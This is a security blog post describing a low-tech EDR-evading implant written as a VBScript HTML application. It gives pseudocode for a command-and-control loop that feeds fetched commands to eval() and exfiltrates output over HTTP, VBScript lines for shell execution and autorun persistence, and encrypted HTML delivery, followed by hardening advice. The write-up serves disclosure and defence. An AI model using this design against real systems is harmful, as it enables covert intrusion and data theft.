_                        _
             _____ ___| |_ _ _ ___ ___ ___    _| |___ _ _
            |     | .'| | | | | .'|  _| -_|  | . | -_| | |
            |_|_|_|__,|_|_____|__,|_| |___|  |___|___|\_/
                                               dumpco.re

2020-07-02

Low-tech EDR bypass
===================

2021-02-02 UPDATE:
Source code has now been published: github.com/magnusstubman/mal00

TL;DR: I designed a piece of super simple malware/implant that evaded
almost everything that I threw against it. You should really disable
execution of legacy scripting languages on your systems to prevent attacks
like these.

I'm disclosing how I did it here to raise awareness of all the excessive
features and functionality in Windows that can be weaponized.



# Background

Not too long ago, I was designing a reconnaissance payload that was
designed solely to grab and exfiltrate a list of running processes. This
payload was to be used in a preliminary spear phishing attack, to better
understand our target.

In essence, the reconnaissance payload was to do the following:


  1 Get list of running processes 
  2 base64 encode and URL encode it
  3 exfiltrate via HTTP GET request, as part of the URL


As it was ~unknown what defensive systems were in place in the target
environment, no attempts for native code execution or persistence was to be
attempted, in order to avoid detection. Code execution was intentionally
gonna be dropped, in favor of stealth. At the time, this was logical since
attempting to spawn a native process running stage 1 implant in some clever
way would likely be caught if proper preparation and offline testing hadn't
been done.

The more I thought about it, the harder it was for me to accept the fact
that code execution was intentionally gonna be dropped, as there were no
guarantee that it would be possible to get payload execution twice, yet
alone once.  



# Implant design

As a spare-time project, I came up with an approach where having to solve
the problem of attaining native code execution would be postponed, by
simply making the implant continuously poll for instructions to execute
within its own runtime, instead of natively. This was implemented in
VBScript, and packaged in a HTML application (HTA) [1].

In essence, it was quite simply implemented, by in a loop fetch data from
the C2 server, and feed it directly into the eval() function [2], and
return back the result to the C2 server. Pseudo code:


  1 while (true) {
  2   command = httpGet(c2hostname)
  3   output = eval(command)
  4   httpGet(c2hostname + base64encode(output))
  5   sleep()
  6 }


With this design, we gained the ability to extend capabilities at runtime,
all while staying in memory, without any process injection/hollowing or 
anything else that EDR solutions are meant to detect. It slightly resembles
Cobalt Strike's in-memory execution of .NET assembly or the newly added
Beacon Object Files (BOF) [7][8][9].

As a result, the implant is at the time of writing only detected by a
single AV/EDR solution, among the ones tested against (although I havn't
tested all of them).



# C2 design 

Instead of typical C2 design, where the C2 would e.g. send 'whoami', more
code is needed to actually give the implant the capability needed to
execute shell commands, e.g:


  CreateObject("Wscript.Shell").Exec("cmd /c whoami")

Moving files (e.g. for simple persistence):

  CreateObject("Scripting.FileSystemObject").CopyFile(
  "C:\Users\bob\Downloads\implant.hta",
  "C:\some\autorun\folder\implant.hta")

Write files:

  CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\proof.txt"
  ,True).Write("1337 hackers were here").Close()


Rob van der Woude's collection on VBscript [10] is good reference for more
examples.

This approach of developing malware can in principle do whatever 
feature-rich malware implemented with a classic architecture can as well,
but extra time must be put into it to handles things that are quite tedious
with this approach, such as handling state, etc. As the VBScript runtime is
quite limited, and attempts to implement more advanced features such as
socks4a capabilities or anything else that is network based will quickly
run into challenges. It's obviously possible, and if done, would presumably
result in alot of evasion compared to the development costs, due to the
apparently little optics AV/EDR engines have into runtimes such as VBScript
apart from static analysis.



# Delivery

Obviously the target recipient would have to click a link and execute the
implant by running it manually, but by slightly modifying NCC group's fine
HTA encryption tool [3], it was trivial to package the HTA implant in pure
HTML, that would when rendered in a JavaScript capable browser, decrypt it
(potentially with environmental keying) and serve it for download and
execution to the user. This ensured that any perimeter inspection mechanism
performing static analysis would only see html, javascript, and the
encrypted blob. Obviously entropy tests (statistical analysis) would bust
it, since it was encrypted, but that hasn't been an issue for me yet.



# Communications

The choise of HTTP was quite natural since most, if not all, environments
that are targetted via phishing also have outbound HTTP allowed. By using
the Internet Explorer Automation API, sending HTTP requests from VBScript
is trivial and even seemlessly respects any configured proxy configuration
and any authentication setting defined, that may be required to reach the
Internet. Only drawback is that it'll obviously crash and burn if Internet
Explorer is uninstalled. But if HTA are allowed to execute, then it's
probably a safe bet that Internet Explorer isn't uninstalled either.



# Mitigations

HTA/VBscript is just one runtime that malware could be written in, so to
avoid whac-a-mole hardening, take a look at what you need to be able to run
and whitelist only that, such that everything else can't execute. If that's
impractical for you, Oddvar Moe has written a guide on how to blacklist
mshta.exe (the app that executes HTA files) from running [5]. Alternatively
you could blacklist the HTA file extension and associate it with something
harmless. There's an article on that over at grouppolicy.biz [6].  



# References

1: en.wikipedia.org/wiki/HTML_Application
2: docs.microsoft.com/en-us/office/vba/api/access.application.eval
3: github.com/magnusstubman/demiguise
4: docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa752084(v=vs.85)
5: oddvar.moe/2017/12/21/harden-windows-with-applocker-based-on-case-study-part-2
6: grouppolicy.biz/2011/09/how-to-use-group-policy-to-change-open-with-file-associations
7: blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail
8: blog.cobaltstrike.com/2020/06/25/cobalt-strike-4-1-the-mark-of-injection
9: cobaltstrike.com/help-beacon-object-files
10: robvanderwoude.com/vbstech.php